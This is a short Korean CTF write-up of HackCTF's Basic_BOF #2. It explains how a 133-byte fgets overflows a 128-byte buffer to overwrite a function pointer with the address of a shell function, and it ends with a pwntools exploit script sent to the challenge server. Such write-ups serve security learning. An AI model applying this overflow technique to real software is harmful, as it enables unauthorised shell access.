wargame/HACKCTF
Basic_BOF #2
amoogotomollayo
2022. 3. 15. 20:33
두 번째 BOF 문제입니다.
맨 처음 0x80484b4를 ebp - 0xc에 넣습니다.
fgets(ebp - 0x8c, 0x85, stdin) 함수를 실행합니다.
입력을 받은 후 ebp - 0xc에 있는 함수를 실행합니다.
ebp - 0x8c와 ebp - 0xc의 거리는 0x80는 128byte이고 fgets함수를 통해 입력할 수 있는 데이터는 133byte입니다.
따라서 BOF를 이용해 ebp - 0xc의 값을 다른 함수의 주소로 변조할 수 있습니다.
nm 명령어로 심볼들을 확인해보니 shell라는 함수를 찾았습니다.
해당 함수는 system("/bin/dash")를 실행하는 함수입니다.
이번 문제는 BOF를 통해 ebp - 0xc의 값을 shell 함수의 주소 0x0804849b로 변조하여 FLAG를 획득해야 합니다.
파이썬 코드와 결과는 아래와 같습니다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3001)
payload = b"A" * 128 + p32(0x0804849b)
r.send(payload)
r.interactive()